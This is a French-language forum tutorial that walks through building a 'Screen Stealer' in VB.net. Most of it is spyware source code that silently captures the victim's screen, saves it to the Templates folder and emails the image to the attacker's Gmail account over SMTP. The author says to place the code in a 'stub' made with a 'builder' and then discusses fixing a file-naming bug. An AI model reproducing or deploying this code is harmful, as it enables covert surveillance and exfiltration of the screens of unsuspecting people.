sebdelkil

Créer un Screen Stealer

Créer un Screen Stealer

Salut tout le monde,
Je vais vous montrer comment créer un simple petit voleur d'écran en VB.net

Tout d'abord ouvrez un nouveau projet et ajouter ceci a votre Form1 :

- 1 PictureBox
- 2 Labels (1 pour le nom de l'image, l'autre pour le chemin de destination de l'image)
- Rien d'autre

Commençons, double cliquez sur votre Form1 et ajouter ce code :


Label2.Text = Environment.GetFolderPath(Environment.SpecialFolder.Templates) & "\" & Label1.Text & ".jpg"
        //Prise d'écran + affichage dans PictureBox1
        Dim ScreenSize As Size = New Size(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
        Dim screenGrab As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
        Dim g As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(screenGrab)
        g.CopyFromScreen(New Point(0, 0), New Point(0, 0), ScreenSize)
        screenGrab.Save(Environment.GetFolderPath(Environment.SpecialFolder.Templates) & "\" & Label1.Text & ".jpg")
        PictureBox2.Image = screenGrab

        //Attachement de l'image au courrier + envoi !
        Dim Mail As New MailMessage()
        Dim Attach As Net.Mail.Attachment = New Net.Mail.Attachment(Label2.Text)
        Mail.Attachments.Add(Attach)
        Mail.Subject = "#sebdelkil - Spy Screener - " & My.Computer.Name
        Mail.To.Add("TonAddresse@gmail.com")
        Mail.From = New MailAddress("TonAddresse@gmail.com")
        Mail.Body = "#sebdelkil - Spy Screener - Meziamus.com"
        Dim SMTP As New SmtpClient("smtp.gmail.com")
        SMTP.EnableSsl = True
        SMTP.Credentials = New System.Net.NetworkCredential("TonAddresse@gmail.com", "TonMotDePass")
        SMTP.Port = 587
        SMTP.Send(Mail)

Ce code permet de capturer l'image de votre écran et de l'afficher sur votre PictureBox1
ensuite, le chemin de l'image se trouve sur le Label2 et donc on attache Label2.Text a notre mail qu'on envoi a l'adresse mentionné !

Tout simplement vous venez de créer un voleur d'image avec envoi sur boite mail
il vous suffit de créer le builder et d'ajouter le code ci dessus dans votre stub

#Petit HIC :
L'image envoyé sur l'adresse Mail sera toujours la première image prise, meme si vous lancez plusieurs fois l’exécutable !
Pourquoi ? tout simplement parce-qu'on envoi dans la boite mail le Label2
et son nom ne change pas .... Les autres capture d'écran créé s’appelleront Label2(1).jpg, Label2(2).jpg etc etc ...

Pour résoudre ce problème il vous suffit de créer une fonction qui va changer le nom de cette image.